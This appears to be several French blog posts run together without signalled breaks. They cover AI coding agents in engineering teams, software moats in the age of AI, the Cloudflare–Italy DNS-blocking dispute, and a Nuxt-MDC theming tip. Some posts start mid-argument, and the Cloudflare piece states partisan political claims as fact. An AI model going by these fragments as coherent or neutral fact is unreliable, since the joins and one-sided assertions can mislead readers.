Vincent Aubrun (ManoMano)

Sur le coût mensuel par développeur, les différentes discussions permettent de faire émerger 3 catégories :

La grande majorité oscille entre la catégorie 1 et 2.

La documentation, effet de bord positif des IA

Quand on parle de gouvernance, la documentation étant devenue le nouveau langage de programmation, elle redevient un citoyen de première zone.

On la retrouve dans les specs en markdown présent sur le projet, les ADR/RFC etc... Ces docs sont désormais maintenues en même temps que le code est produit.

Alors nous on a déclaré que le markdown c'était la source de vérité. Confluence en PLS :)

Julien Tanay (Doctolib)

Ce n’est plus un simple micro événement dans le cycle de dev du produit, géré parce qu’il le faut et rangé au placard. Les équipes les plus matures font désormais évoluer la doc pour faire évoluer le code, ce qui permet d’éviter le fameux syndrome des piles de documents d’entreprises obsolètes qui trainent sur un drive partagé.

Cela a de nombreux avantages, elle peut être utilisée par des agents spécialisés pour l'écriture de la doc utilisateur (la doc end user), ou être utilisée dans un RAG pour servir de base de connaissance, pour le support client, l'onboarding des nouveaux arrivants etc…

L'intégration de ce framework impacte la façon de gérer les incidents. Il offre la possibilité de debugger nos services avec des agents spécialisés qui peuvent s’appuyer sur les logs par exemple. Il est possible d’intérroger le code et la memory bank qui agit comme une documentation vivante.

Cédric Gérard (Ilek)

La propriété intellectuelle

L’un des sujets majeurs qui revient est évidemment la propriété intellectuelle. Il ne s’agit plus de faire de simples copier-coller dans un navigateur avec un contexte choisi, mais de donner accès à la codebase entière.

C’est une des grandes motivations de passer sur les licenses enterprise qui contiennent des clauses contractuelles de type “zero data training”, voire “zero data retention”.

En 2026 on devrait aussi voir apparaître l’AI act et la certification ISO 42001 pour auditer la manière dont les données sont collectées et traitées.

Dans les usages enterprise on note aussi des montages via des partenariats comme celui entre Google et Anthropic :

De notre côté, nous n'avons pas besoin d'allouer un montant à l'avance, ni d'acheter des licences, car nous utilisons les modèles Anthropic déployés sur Vertex AI d'un de nos projets GCP. Il suffit ensuite de faire pointer Claude Code sur Vertex AI. Cette configuration adresse également les problématiques de propriété intellectuelle.

Sur tous ces points, une autre piste semble être d’utiliser des modèles locaux. On peut citer Mistral (via Pixtral ou Codestral) qui propose de faire tourner ces modèles sur des serveurs privés pour garantir qu'aucune donnée ne franchit le firewall de l'entreprise.

J’imagine que ce serait également possible avec Ollama.

Cependant je n’ai rencontré qu’une seule entreprise qui travaillait sur cette piste pendant mes discussions. Mais on peut anticiper que l'essor des modèles locaux sera plutôt un sujet 2026 ou 2027.

Les impacts humains

Le recrutement

Si l'IA est désormais solidement implantée dans de nombreuses équipes, ses impacts dépassent désormais le cadre du seul développement.

On retrouve notamment des réflexions autour du recrutement chez Alan

Picture this: You’re hiring a software engineer in 2025, and during the technical interview, you ask them to solve a coding problem without using any AI tools. It’s like asking a carpenter to build a house without power tools, or a designer to create graphics without Photoshop. You’re essentially testing them on skills they’ll never use in their actual job. This realization hit us hard at Alan. As we watched our engineering teams increasingly rely on AI tools for daily tasks — with over 90% of engineers using AI-powered coding assistants — we faced an uncomfortable truth: our technical interview was completely disconnected from how modern engineers actually work.

Emma Goldblum (Engineering chez Alan)

La formation des juniors

Un des gros sujets porte sur la formation des juniors qui peuvent être rapidement en danger avec l'usage de l'IA. Ils sont en effet moins productifs désormais, et n'ont pas toujours l'expérience nécessaire pour challenger correctement le code produit, ou écrire correctement les spécifications. Une grande partie des tâches autrefois attribuées aux juniors est dorénavant monopolisée par les IA (code boiler plate, validation de formulaire, tâches répétitives etc...).

Cependant, toutes les équipes reconnaissent la nécessité d'embarquer les juniors pour ne pas créer un fossé d'expérience dans le futur.

Malgré cette prise de conscience, je n’ai pas vu d’initiatives spécifiquement sur le sujet qui viserait à adapter la formation des plus juniors.

L’accueil des nouveaux arrivants

Enfin l'accueil des nouveaux arrivants est bousculé par l'IA, notamment parce qu'il est désormais possible de les accompagner pour découvrir le produit

Certaines équipes ont un skill d'onboarding qui aide a setup l'env, fait un tour de la codebase, fait une PR d'exemple... Les gens sont créatifs*

Julien Tanay (Doctolib)

Par effet de bord, ce point est jugé facilité par les changements induits par l’IA, notamment aidé par le fait que les documentations soient mises à jour plus régulièrement et que l’ensemble des guidelines soient très explicites.

L’accompagnement vers un changement de métier

Un des éléments peu abordés reste l’accompagnement des développeurs face à une mutation de leur métier.

On déplace la valeur des développeurs de la production du code à la maîtrise du métier. Cela oblige à prendre beaucoup de hauteur. L’écriture du code, les pratiques comme le TDD sont des éléments qui participent au plaisir qu’on prend dans le travail. L’IA vient bouleverser ça et certain ne seront peut-être pas capable de s’epanouir dans cette évolution de notre métier

Cédric Gérard (Ilek)

La question n’est pas de savoir si le métier de développeur touche à sa fin, mais plutôt dans quelle mesure il évolue et quelles sont les nouvelles compétences à acquérir.

On peut comparer ces évolutions à ce qui est arrivé dans le passé lors des transitions entre les cartes perforées et la programmation interactive, ou avec l’arrivée des langages de plus haut niveau. Avec l’IA les équipes de développement gagnent en niveau d’abstraction, mais gardent les mêmes défis, identifier les bons problèmes à résoudre, trouver quelles sont les solutions technologiques adéquates, réfléchir en termes de sécurité, performance, fiabilité et de compromis entre tout cela.

Malgré tout, cette évolution n’est pas forcément bien vécue par tous et il devient nécessaire dans les équipes d’accompagner les personnes à considérer le développement sous un angle différent pour retrouver l’intérêt du métier.

Cédric Gérard nous met en garde également contre d'autres risques :

Il y a un risque sur la qualité des productions qui diminue. L’ia n’étant parfaite, il faut être très attentif au code généré. Cependant review du code ce n’est pas comme produire du code. La review c’est fastidieux et on peut très rapidement se laisser aller. A cela s'ajoute un risque de perte de compétence. Lire n’est pas écrire et on peut s’attendre à développer une capacité d’évaluation, mais un perdant petit à petit en créativité

Conclusion

2025 a vu l’essor de la programmation agentique, 2026 sera sans doute une année d’apprentissage en entreprise autour de l’industrialisation de ces outils.

Il y a des points dont je me réjouis, c'est le retour en force de la pensée système. Le "Context Driven Engineering" nous force à redevenir de bons architectes et de bons concepteurs produit. Si vous ne savez pas expliquer ce que vous voulez faire (la spec) et comment vous comptez le faire (le plan), l'IA ne vous sauvera pas ; elle produira juste de la dette technique à une vitesse industrielle.

Un autre effet de bord inattendu pourrait être la fin de l'ego coding, la disparition progressive de l'attachement émotionnel au code produit qui créait parfois des discussions compliquées, par exemple lors des revues de code. En espérant que cela nous rende plus critique et moins réticent à jeter du code et des fonctionnalités non utilisées.

Quoi qu'il en soit, la différence entre une équipe moyenne et une équipe d'élite ne s'est jamais autant jouée sur des compétences "anciennes". Savoir challenger une architecture, poser de bonnes contraintes de développement, avoir une bonne CI/CD, anticiper les failles de sécurité, et maintenir une documentation vivante seront d’autant plus critiques qu’avant. Et par expérience ce n’est pas si acquis que cela partout.

Maintenant, il reste des questions, il va falloir apprendre à piloter un nouvel écosystème d'agents tout en gardant le contrôle. Entre les enjeux de souveraineté, les questions autour des modèles locaux, la capacité à tester la reproductibilité et la qualité des prompts, l'explosion des coûts et la mutation du rôle de junior, nous sommes encore en pleine phase d'apprentissage.

Et en effet, on devait constamment trouver le bon équilibre entre construire du logiciel, ou l'acheter sur étagère. L'open source existait bien sûr, je pourrais citer Mysql ou Apache, mais il n'y avait pas autant de logiciel open source complet qu'aujourd'hui.

Avec le temps justement cet essor de l'open source a changé la donne.

Je peux aujourd'hui par exemple faire tourner une application sur un PAAS open source (coolify), utiliser metabase pour de la data analyse, openpanel pour du web analytics, listmonk pour de l'envoi de newsletter etc... Je peux faire le choix d'héberger et de faire tourner beaucoup de logiciels qui étaient auparavant uniquement disponibles en version propriétaire.

Donc à partir de là, c'était plus juste Build or Buy mais Build or Buy or Run. Le run apportant lui-même son lot de contraintes et de compromis.

Mais depuis l'an dernier, on assiste à nouveau à un changement et le problème est devenu Build, Buy, Run or Vibe (BBRV).
(vibe étant lié au vibe coding, même si aujourd'hui on s'éloigne de plus en plus du simple vibe coding pour une véritable industrialisation de l'usage de l'IA)

L'illusion des MOAT par la quantité de code

Un Moat (douve en anglais), c'est un avantage défensif durable. On essaie souvent quand on construit un logiciel de se créer un MOAT, c'est-à-dire un avantage compétitif. Pendant très longtemps, ce MOAT pouvait être simplement qu'un logiciel nécessitait trop de temps à être reconstruit, sans être crucial pour une entreprise.

Prenons par exemple un logiciel qui vous fournit la gestion de feature flag (unleash ou launchdarkly). C'est pas complexe en soi, mais c'est rarement coeur pour une entreprise. Donc dans le dilemne classique de Build or Buy, le Buy était souvent privilégié. Quelle serait la plus-value de reconstruire ça ?

Sauf que désormais, beaucoup de softs "simples" sont reproductibles avec des assistants de code boosté à l'IA.

Dit autrement, je dois désormais arbitrer entre prendre un produit sur étagère qui me coute peut-être entre 100 et 1000 euros par mois, et le fait de mobiliser un(e) ingénieur pendant une journée pour reproduire uniquement les fonctionnalités qui m'intéressent et à cela, je dois inclure le cout du run.

Et ça, c'est un énorme défi en perspective qui doit être pris en compte par chaque créateur de logiciel, et encore plus de SAAS.

La capacité à produire du code, n'est plus un avantage compétitif.

Si le code devient une commodité, est-ce que tous les SAAS sont voués à disparaître. Évidemment que non, mais on va illustrer ce point.

J'ai vu récemment passer deux initiatives pour reproduire Linkedin et qui ont été produit avec l'IA :

• https://nolto.social/ très prometteur, basé sur activitypub, self hostable, open source, et démarré avec lovable.dev (un assistant de code IA)
• https://ponos-job.eu/, plus simple, également open source, construit aussi avec IA.

Ces deux softs montrent qu'on peut refaire désormais avec des équipes de une ou deux personnes des logiciels très complets.

Pour reprendre une analogie que j'ai vu plusieurs fois sur internet, si la production de logiciel avant, était une construction puis un assemblage lent et méticuleux de briques, aujourd'hui, on peut coder rapidement des murs entiers. Ce qui limite un développeur, c'est sa compréhension métier. Mais plus un soft est connu et documenté, plus on peut rétro ingénierer facilement cette connaissance quand on a la tête bien faite et une connaissance fonctionnelle du métier.

Mais ici la barrière pour remplacer Linkedin, c'est pas le code en soi.

Avec l'IA, on est passé d'une économie de la rareté de la production (coder était difficile et cher) à une économie de la rareté de la confiance et de la distribution. Linkedin va garder, pour l'instant, cet avantage sur ces deux initiatives.

Et il existe d'autres barrières qui restent efficaces :

• l'accès exclusif à une donnée bien spécifique (Exemple Palantir)
• l'effet réseau. C'est ce qui protége Linkedin, Whatsapp ou X. Certains logiciels n'ont d'intérêt que s'ils sont utilisés par d'autres.
• des accréditations ou certifications réglementaires qui donnent accès à des marchés protégés (exemple le bancaire ou le militaire)
• l'implantation dans un écosystème (si un logiciel est déjà intégré et référencé au sein d'un écosystème existant, c'est dur de l'enlever sans perdre toutes ces intégrations, par exemple Jira, Salesforce ou Okta)
• la donnée captive (c'est proche du point précédent, nos données peuvent être "otages" d'un logiciel ce qui rend la sortie difficile
• la garantie de service (ça rejoint le fait de supporter le run, mais pour certains logiciels, on est prêt à payer pour ne pas endosser la responsabilité)
• un réseau physique, par exemple cloudflare ou amazon qui possèdent des datacenters. Forcément le physique est non réplicable.

Certains de ces items sont directement liés aussi à la capacité de distribution. Par exemple, je peux créer un ersatz de Slack ou Teams, mais je n'ai pas la capacité de distribution (force commerciale et intégration dans un écosystème) de Microsoft ou Salesforce pour le faire se diffuser partout.

Ceux qui ont la donnée (qu'ils l'achètent ou l'accumulent) gardent l'avantage. Parce qu'ils sont aussi capable de résoudre plus de cas d'usage. Et c'est pas étonnant que l'accès à cette donnée soit protégé. À l'inverse ceux qui ne font que manipuler et afficher de la donnée sont en danger.

Au delà de ca, je pense qu'on assiste à une nouvelle génération d'entreprise, les IA natives.

Des cloud natives aux IA natives

J'ai connu l'ère Cloud native en créant Malt en 2012.

Ça voulait dire qu'on n'avait rien en propre, pas de serveur, pas de bureaux. Tout était décentralisé et éclaté. C'était une entreprise purement online. Chaque brique de l'entreprise était un SAAS sur étagère.

Avec cette dématérialisation à outrance, les entreprises Cloud natives sont devenu liquides, facile à modifier et faire évoluer. La gestion des ressources se faisait par de la location. Je louais un service et je pouvais en changer "facilement", modulo des couts d'intégration bien sûr, sans devoir gérer avec des équipes internes, des réaffectations de serveurs etc...

L'informatique est devenu une forme de Lego géant.

Et pour moi, qui avait connu les entreprises non cloud natives, qui est allé coder en salle serveur directement pour reprendre la main sur une machine défaillante, ou qui a subi des pannes de clim en salle serveur ayant fait tomber toute l'infra, la différence est flagrante. De même, je suis passé d'une époque ou demander un serveur de CI pouvait prendre littéralement 3 mois, avec des formulaires d'ouverture réseau à n'en plus finir, à un simple click sur une interface.

Être cloud native c'est devenu aussi naturellement une facon simple d'épouser des concepts modernes de sécurité, comme le Zero Trust architecture qui est par définition impossible à éviter dans ce contexte. Vous ne pouvez pas faire confiance au réseau puisque votre réseau interne, c'est Internet. C'est devenu un avantage lors de la crise covid. Je n'ai pas connu, comme certaines boites, le fait de devoir faire des rotations sur les heures de login le matin parce que le réseau interne et le VPN d'entreprise n'était pas dimensionné pour autant d'accès externes. Je n'ai pas connu l'obligation de revenir au bureau pour récupérer du courrier, ou revalider mon pc sur le réseau interne de la boite.

Et je peux vous dire que j'ai vu passer des gens dans la boite qui venaient de boites traditionnelles et qui n'ont jamais réussi à comprendre cette culture, toujours à se questionner sur le nombre de services utilisé par la boite et incapable d'appréhender la vraie nature de ce que nous étions.

Je sais que c'est encore dur, même aujourd'hui, de faire prendre conscience que le Cloud a littéralement été l'un des moteurs majeurs de la tech sur la décennie 2010. Beaucoup voient dans le cloud une simple entourloupe marketing, le fait de déplacer ses serveurs chez quelqu'un d'autre, une simple infogérance. En 2026 il y a encore beaucoup d'entreprises qui ne sont pas cloud natives. Et c'est normal. On ne passe pas d'un monde à l'autre d'un claquement de doigt, si même c'est possible.

Quand je dis que ça a été moteur, il faut comprendre que ça a créé de la souplesse et donc de la vitesse, vitesse qui a été déterminante pour toutes les boites post 2008 (en France, Blablacar, doctolib, Malt, Backmarket etc..). Ce changement technologique a aussi permis de créer beaucoup d'opportunités pour reconstruire des services existants, mais sous forme de briques en ligne (les fameux SAAS).

Mais aujourd'hui, on voit apparaitre des entreprises IA natives. Des entreprises pour lesquelles la production de code est devenu une commodité. La capacité de production a drastiquement augmenté.

Si le Cloud Native a "simplifié" l'infrastructure, l'IA est en train de "simplifier" la mise en œuvre.

(* Et oui, je sais, simplifier est sans doute un mauvais terme parce que faire tourner dans le cloud, ou produire du code de bonne qualité avec une IA n'est pas si simple que ça)

• 2010 : On a tué la complexité de l'infra (le hardware).
• 2024+ : On tue la complexité de l'implémentation (le software).

Conséquence : Le développeur "IA Native" devient un architecte d'intention plutôt qu'un ouvrier du code.

Le choc culturel

De la même façon qu'avec le Cloud, l'IA va créer de nombreuses opportunités. Je suis prêt à parier qu'on va voir de plus en plus des initiatives (comme celle de linkedin cité plus haut) où des softs déjà existants vont se faire totalement recréer par des entreprises avec 10 ou même 100x moins de gens, sans parler des nombreux projets open source qui vont eux-aussi naitre pour remplacer des softs "commoditaire", comme par exemple la gestion des feature flags dont je parlais plus haut.

Donc ça, c'est le premier choc. Il faut s'attendre à voir émerger beaucoup de compétiteurs très rapides dans les années qui arrivent face à des softs bien établis.

Mais il existe un corrolaire de ça, car de la même façon qu'en 2026 on a encore beaucoup d'entreprises non cloud natives et qui ne le seront jamais, beaucoup d'entreprises ne deviendront pas IA natives sans heurts.

Oui certains softs vont garder de l'avance, mais une entreprise IA native va pouvoir lutter sur les prix (le cout de production étant moindre) ou faire plus de marge, donc plus d'investissement.

Comme je le disais juste avant, j'imagine peu de boites "non IA natives" devenir IA natives, parce que ça aurait des impacts sociaux dans l'entreprise gigantesques. C'est une question de culture, la culture étant la facon dont on répond systématiquement à un problème donné. Une boîte IA Native ne cherche pas à réduire ses coûts de 20%, elle cherche à opérer avec une structure de coût fondamentalement différente (10x ou 100x moins de staff pour le même résultat).

Bref, c'est pas "juste" les boites qui font de l'IA qui vont représenter la nouvelle génération de startups post 2020, mais sans doute aussi tout un tas de petites entreprises très lean, avec peu de gens et qui vont frapper de plein fouet de nombreux business bien établis.

Et s'il y a un profil qui devrait tirer son épingle du jeu, c'est le Product engineer : la personne capable de comprendre les problèmes à résoudre et de se mettre à la place de l'utilisateur.

Et vous, dans vos roadmaps actuelles, quelle portion de votre logiciel est déjà devenue une "commodité" que l'IA pourrait reconstruire en un week-end ? Quel est le vrai rempart qui vous restera demain ?

Ce débat est loin d'être anodin et spoiler : il n'y a pas de gentils dans cette histoire.

Blocage DNS et désaccords

Vous n'avez peut-être pas suivi l'affaire mais l'Italie vient d'infliger une amende record de 1% du CA mondial de Cloudflare pour ne pas avoir agi et bloqué des sites pirates.

Cloudflare a en effet refusé.

Pour comprendre l'enjeu, il faut d'abord parler DNS. Un DNS, c'est un registre d'adresses d'Internet, une sorte de gros index qui fait la liaison entre un nom de domaine et une adresse IP. Un peu comme un annuaire qui fait le lien entre votre nom de famille et votre adresse physique.

Les blocages DNS sont souvent critiqués, car ils soulèvent plusieurs problèmes :

Le premier, c'est la performance. Un DNS se doit d'être le plus efficace possible au risque de ralentir l'ensemble du net. C'est l'une des couches réseau les plus basses et on ne peut pas se permettre de mettre trop de logique applicative dedans. Par exemple, on veut éviter de tester si cette adresse fait partie d'une liste de sites non autorisés, d'autant plus si on veut le faire par pays d'origine du visiteur.

Et justement, cette notion d'origine du visiteur a de l'importance. Si l'Italie décide de bannir un site, ce n'est pas pour autant que cette décision doit s'appliquer en Australie ou au Japon. Donc en théorie, pour bien faire les choses, il faudrait considérer que le pays d'origine du visiteur influe sur la réponse du DNS.

Cloudflare invoque 200 milliards de requêtes journalières qui passent par ses serveurs. Si on commence à avoir tout un tas de règles au niveau DNS, c'est tout le trafic mondial qui serait potentiellement ralenti. En tout cas selon Cloudflare.

Sauf que cette excuse de la performance est mise à mal par un fait simple : Cloudflare sait déjà faire ça. Ils le font sur leur DNS "famille" (1.1.1.3) qui filtre le contenu adulte et les malwares. Donc techniquement, le savoir-faire existe.

Au-delà des critiques sur la performance, on peut reprocher aux blocages DNS de manquer de finesse. Si un utilisateur d'un service partagé comme Youtube se faisait bannir, c'est le domaine entier qui se retrouverait bloqué. On ne peut pas juste bannir une chaîne.

Et enfin, si on commence à avoir des règles de ce type au niveau DNS, c'est la première porte ouverte à une fragmentation du réseau. Ça commence à ressembler au grand firewall chinois.

Ce n'est pas qu'un problème italien

Le sujet des blocages DNS n'est pas une spécificité italienne.

En France, Canal+ a les mêmes demandes face à Google, Cloudflare et Cisco pour essayer de lutter contre le streaming sportif. On retrouve le même conflit en Belgique.

À l'inverse, l'Allemagne a jugé disproportionnée le blocage DNS et a rejeté les demandes faites en ce sens. Enfin, c'est uniquement la cour de Cologne, et rien ne dit que ça ne pourrait pas évoluer dans le futur.

Les alternatives au blocage DNS

Maintenant quelles seraient les alternatives si on voulait vraiment bloquer du contenu ? Est-ce qu'il y en a d'autres que de passer par les serveurs DNS ?

Le registrar : on peut demander au registrar de suspendre un domaine. Un registrar, c'est l'entité qui attribue les noms de domaines et c'est localisé. Les .fr sont attribués par une entité juridique française, les .de par une entité allemande. Un juge peut imposer une décision à un registrar français facilement. Mais c'est plus dur de le faire appliquer sur d'autres registrars. Et je rappelle que les .com, .org etc. sont gérés aux US. En pratique on retrouvera rarement, voire jamais, des sites pirates sur un .fr ou un .it. Ce serait beaucoup trop simple d'aller toquer à leur porte.

Les FAI : en France, on a des censures au niveau des fournisseurs d'accès internet, qui ont chacun des résolveurs DNS. C'est moins impactant que de taper sur un Cloudflare parce qu'un FAI est forcément national par défaut. Il y a moins cette notion d'extraterritorialité. Mais ça se contourne plus facilement aussi, même s'il faut être un utilisateur avancé pour changer son DNS.

Le déréférencement : chaque moteur de recherche sait supprimer des URLs pour un territoire donné. Un juge peut faire une demande pour interdire le référencement d'un site. C'est efficace, même si ça n'empêche pas de taper l'URL du site directement.

Le blocage par IP : c'est radical, ça peut s'effectuer au niveau des FAI ou au niveau pays directement au niveau des points d'échanges internationaux. Mais c'est globalement une mauvaise idée, ça manque totalement de finesse. C'est comme ça que l'Italie a réussi à bloquer Google Drive il y a quelques mois.

Couper les sources de revenus : la solution ultime, c'est de passer directement par Visa ou Mastercard. Ça a été fait dans les affaires Wikileaks, Megaupload et même Pornhub en 2020. Mais c'est en pratique plutôt une prérogative américaine puisque Visa et Mastercard sont des entreprises US, et ça reste très exceptionnel.

Le signalement à l'hébergeur : c'est une solution qui fonctionne bien pour les sites qui ont un hébergeur localisé. Je donnais l'exemple de Youtube plus haut, on peut effectivement signaler un contenu qui enfreint les conditions d'utilisation de la plateforme. C'est possible également de saisir un hébergeur, comme OVH etc... Mais là encore, on pourra être limité par la juridiction dont dépend l'hébergeur en question.

Ce qu'on peut en conclure c'est qu'il n'existe pas de solutions parfaites et c'est souvent un mix qui utilisé en fonction des compromis que l'on peut faire.

Neutralité du réseau ?

Concernant les DNS, le vrai débat dépasse la simple technique.

Est-ce qu'on accepte de "casser" des morceaux d'infrastructure "neutre" pour un gain marginal contre le piratage, ou est-ce qu'on considère que c'est une ligne rouge ?

L'Allemagne a plutôt dit non. L'Italie et la France disent oui.

J'ai du mal à avoir un avis tranché et absolu, mais j'ai l'impression qu'on met le doigt dans un engrenage dangereux.

Aujourd'hui c'est le piratage qui sert de prétexte. Demain, ce sera peut-être des sites d'opposants politiques, comme en Russie ou en Turquie, ou des sites de lanceurs d'alertes, comme Wikileaks dans le passé.

Qui va définir ce qui est acceptable ou pas ? En théorie la réponse est simple, le droit et la justice.

Et c'est justement là où le bât blesse en France ou en Italie. Ce n'est pas le droit qui tranche, mais une autorité administrative. Le Piracy Shield italien exige un blocage en 30 minutes sans contrôle judiciaire. En France, c'est pareil, l'ARCOM peut demander une coupure auprès des FAI, sans jugement.

Cette absence de contrôle et de recours, cette notion de précipitation aussi — on parle de 30 minutes pour décider d'un blocage national — c'est exactement ce genre de dispositif qui peut servir à faire un blackout total comme en Iran récemment.

Mais inutile d'aller en Iran ou en Turquie : on pourrait citer le cas de l'interdiction de TikTok en Nouvelle-Calédonie en 2024 lors des manifestations. C'est une décision administrative qui a ensuite été considérée illégale au regard du droit par le Conseil d'État. Mais il a fallu un an pour corriger le tir.

La réponse de Matthew Prince, CEO de Cloudflare

Changeons d'angle et prenons le temps de lire la réponse de Matthew Prince, CEO et cofondateur de Cloudflare, sur Twitter.

Le début, c'est ce qu'on vient de se dire : un rappel des faits avec une opposition entre la vision italienne (et globalement européenne) versus la vision technique défendue par Cloudflare qui ne veut pas s'occuper de ça.

Maintenant, le tweet ne s'arrête pas là. Et là, ça commence à déraper.

D'abord, Cloudflare mentionne ce qu'ils vont faire dans l'immédiat : ne plus assurer la sécurité des futurs jeux olympiques à Milan (ça se discute, c'était fourni gratuitement, quand tu te prends une amende d'1% de ton CA mondial tu peux te vexer), couper les accès gratuits de tous les utilisateurs en Italie (un peu disproportionné), virer tous les serveurs d'Italie (on sent l'énervement), ne pas installer de bureau sur place (celle-là m'a fait rire, on avait prévu mais finalement non, c'est pas une vraie menace).

Ce qu'il faut surtout noter c'est qu'on parle de mesures de rétorsions. On est dans le cas d'une entreprise US qui menace un état Européen.

Mais c'est le paragraphe suivant qui me titille :

"J'apprécie que JD Vance prenne un rôle de leadership et s'attaque à ce type de régulation qui constitue un problème fondamental d'injustice commerciale et qui menace également les valeurs démocratiques. Et dans ce cas, @ElonMusk a raison : la liberté d'expression (#FreeSpeech) est essentielle et est menacée par une cabale déconnectée de la réalité, composée de décideurs politiques européens très perturbés."

Et là, le débat change de nature. On n'est plus sur une question technique ou juridique. Quand le CEO de Cloudflare invoque JD Vance et Elon Musk pour parler de free speech, on entre dans autre chose.

Le free speech à géométrie variable

Il faut s'attarder sur l'ironie autour du free speech, parce que c'est l'argument massue souvent utilisé par le parti de Trump.

Je rappelle que Musk utilise allègrement la censure sur sa propre plateforme et qu'il a accepté sans aucune réserve de censurer l'opposition à Erdogan en Turquie en 2025 parce que ça servait son propre agenda.

Je pourrais aussi rappeler que l'administration actuelle de Vance mais aussi de Musk, puisqu'il en a fait partie, a censuré plus de 350 mots de toute communication officielle, dont les mots femme, changement climatique ou handicap.

Le free speech aux US, c'est aussi le licenciement de plusieurs personnalités notamment dans les médias pour ne pas être d'accord avec le gouvernement actuel.

Donc free speech, c'est un peu à géométrie variable. C'est une hypocrisie.

D'ailleurs, quand on creuse un peu, Cloudflare lui-même a fait de la censure en 2017 et en 2019 de son propre chef, sans aucune contrainte extérieure, dans les affaires Daily Stormer et 8chan. Donc le principe, ce n'est pas "on ne censure jamais", c'est "on censure quand nous on décide".

En fait, on peut mettre toute la novlangue possible et imaginable sur à peu près tous les sujets. Mais surtout, le free speech ici, c'est un argument de négociation commerciale habillé en principe démocratique.

Et ça pose une question qu'on ne peut plus ignorer : notre dépendance à ces infrastructures US, c'est aussi une dépendance à leurs agendas politiques.

Il n'y a pas de gentils

En bref, dans cette histoire, on peut tout autant remettre en question la légitimité de la méthode, c'est-à-dire le blocage par une autorité administrative sans décision judiciaire.

On peut émettre une réserve sur les dérives possibles et probables de ces outils.

Et pour autant, on peut reconnaître que ce n'est pas non plus très sain d'avoir des dépendances aussi fortes à des entreprises américaines qui peuvent menacer directement des États de ne pas se conformer au droit local, qu'il soit bien fait ou non, ET tout en ayant eux-mêmes leur propre agenda sur ce qui est acceptable ou non.

Il n'y a pas de gentils ici ou de méchants. On a des choses à surveiller sur l'usage généralisé du contrôle numérique par nos propres États. Mais on doit aussi ne pas tomber dans le piège de laisser d'autres pays décider à notre place.

Il ne faut pas se leurrer. Non, la technologie n'est pas neutre comme le prétend Matthew Prince. Et on voit bien que ceux qui contrôlent les tuyaux voudraient bien, eux aussi, décider de ce qui passe dedans. Et ce serait encore pire que de laisser cette décision à une autorité administrative, malgré toutes les critiques que je peux y faire.

Pour ma part j'ai pris les devants en imaginant que Cloudflare pourrait avoir les mêmes conflits avec la France. J'ai donc supprimé tout mes sites gérés sur Cloudflare et j'utilise désormais Bunny.net pour les mêmes services.

Sauf que Writizzy propose des thèmes et on souhaite facilement pouvoir personnaliser les composants pour chaque thème.

Dans cet article je souhaite vous montrer comment utiliser Nuxt-Mdc pour ce cas de figure relativement commun.

Nuxt-mdc

Le module nuxt-mdc est utilisé par nuxt content mais il est possible de l'utiliser directement pour interpréter du contenu markdown et l'afficher en HTML. C'est une brique fondamentale de Nuxt-Content mais heureusement exploitable en standalone.

Parmi les fonctionnalités de Nuxt-mdc, on peut utiliser des MDC components. Un MDC component est globalement un balisage markdown qui fera ensuite appel à un composant Vue pour l'affichage.

Par exemple avec ce markup :

::card
The content of the card
::

On va demander à Nuxt-mdc d'utiliser le composant Card pour rendre le bloc précédent.

C'est aussi ce qu'utilise Nuxt-mdc pour rendre tous les Prose components, qui correspondent aux composants customs : titres, liens, blockquote etc... créés suite au parsing markdown. En interne en effet, chaque balise standard de Markdown est transformée en MDC components, par exemple :

## un titre

est transformé en

::h2
un titre
::

(C'est une simplification. En réalité, c'est plutôt une substitution au niveau du renderer. Le renderer lit l'arbre AST qui contient un noeud h2 et décide d'utiliser le composant h2 pour le rendre. Mais on peut vulgariser comme ça)

Cette fonctionnalité permet à l'utilisateur de Nuxt-Mdc de customiser l'affichage de chaque MDC component, donc les Prose components aussi.

Pour surcharger un composant Prose ou pour proposer un composant custom, il suffit de les placer dans le répertoire app/components/mdc sur une application Nuxt.

Cependant, et si on souhaite que ces composants changent en fonction du thème sélectionné ? C'est exactement la question que je me suis posée pour Writizzy.

Un système de thème pour composants

Sur Writizzy je développe un système de thème. On peut choisir l'apparence de son blog parmi ceux listés ici : https://writizzy.com/docs/your-blog/themes. J'ai repris partiellement ce que j'avais déjà fait pour Bloggrify (un projet opensource pour créer des blogs statiques).

Mais avec Writizzy j'étais plutôt insatisfait de cette solution notamment pour les composants customs. C'est évident que l'apparence doit changer en fonction du thème.

Et il se trouve qu'il existe une fonctionnalité non documentée dans Nuxt-Mdc qui permet exactement de faire cela.

Par défaut, la documentation conseille d'utiliser le composant MDC pour afficher du markdown, par exemple :

<script setup lang="ts">
const md = `
::alert
Hello MDC
::
`
</script>

<template>
  <MDC :value="md" tag="article" />
</template>

Cependant MDC utilise lui-même MDCRenderer en arrière-plan. Et en regardant le code source de MDCRenderer, on note une propriété intéressante : components

Cette propriété permet de passer la liste des composants à utiliser. Par défaut, MDCRenderer va rechercher dans cette liste, et sinon dans components/mdc donc on peut surcharger les composants qu'on souhaite modifier :

<script setup lang='ts'>
const mdcComponents = {
  callout: TerminalCallout,
  blockquote: TerminalBlockquote,
  pre: TerminalCode
}
</script>
<template>
  <MDCRenderer 
    :body="ast.body" 
    :data="ast.data"
    :components="mdcComponents"
  />
</template>

Et voilà !

Désormais on peut personnaliser chaque composant en fonction du thème.

Cette approche fonctionne bien pour Writizzy et je compte l'appliquer aussi à Bloggrify. Si vous utilisez Nuxt-MDC avec un système de thèmes, c'est à mon avis la solution la plus propre — même si elle mériterait d'être documentée officiellement.

J'ai d'ailleurs ouvert une issue pour clarifier son statut. En attendant, ça fonctionne en production sur Writizzy sans souci.

Bien sûr, cela fait maintenant 4 ans qu'on parle d'IA jusqu'à l'écœurement, j'ai fait quelques posts et vidéos sur le sujet, mais l'évolution entre début 2025 et début 2026 est désormais flagrante.

Avec cette évolution vient une question majeure, quel est l'impact pour notre métier ? Comment le réinventer ?

Je vous propose une petite revue de presse pour aborder cette question.

L'ère des agents ?

Dans cet article, Simon Willison, co créateur de Django et Lanyrd, pointe le changement majeur de 2025 : l'année des agents.

Avec l'apparition fin 2024 des flows dans Windsurf et Claude Code en février 2025, tout a changé. Pour beaucoup, nous sommes passés de simple copier-coller entre le navigateur web et notre IDE à une délégation complète de l'activité de production de code.

2025, c'est aussi :

• la popularisation de l'expression vibe coding, qui continue de diviser entre incompréhension et mépris
• la normalisation des abonnements à 200$/mois
• les modèles conversationnels de génération d'image comme nano banana (auparavant on n'itérait pas, il fallait trouver le bon prompt du premier coup)
• le début des modèles de code locaux, que j'espère grandement voir se développer

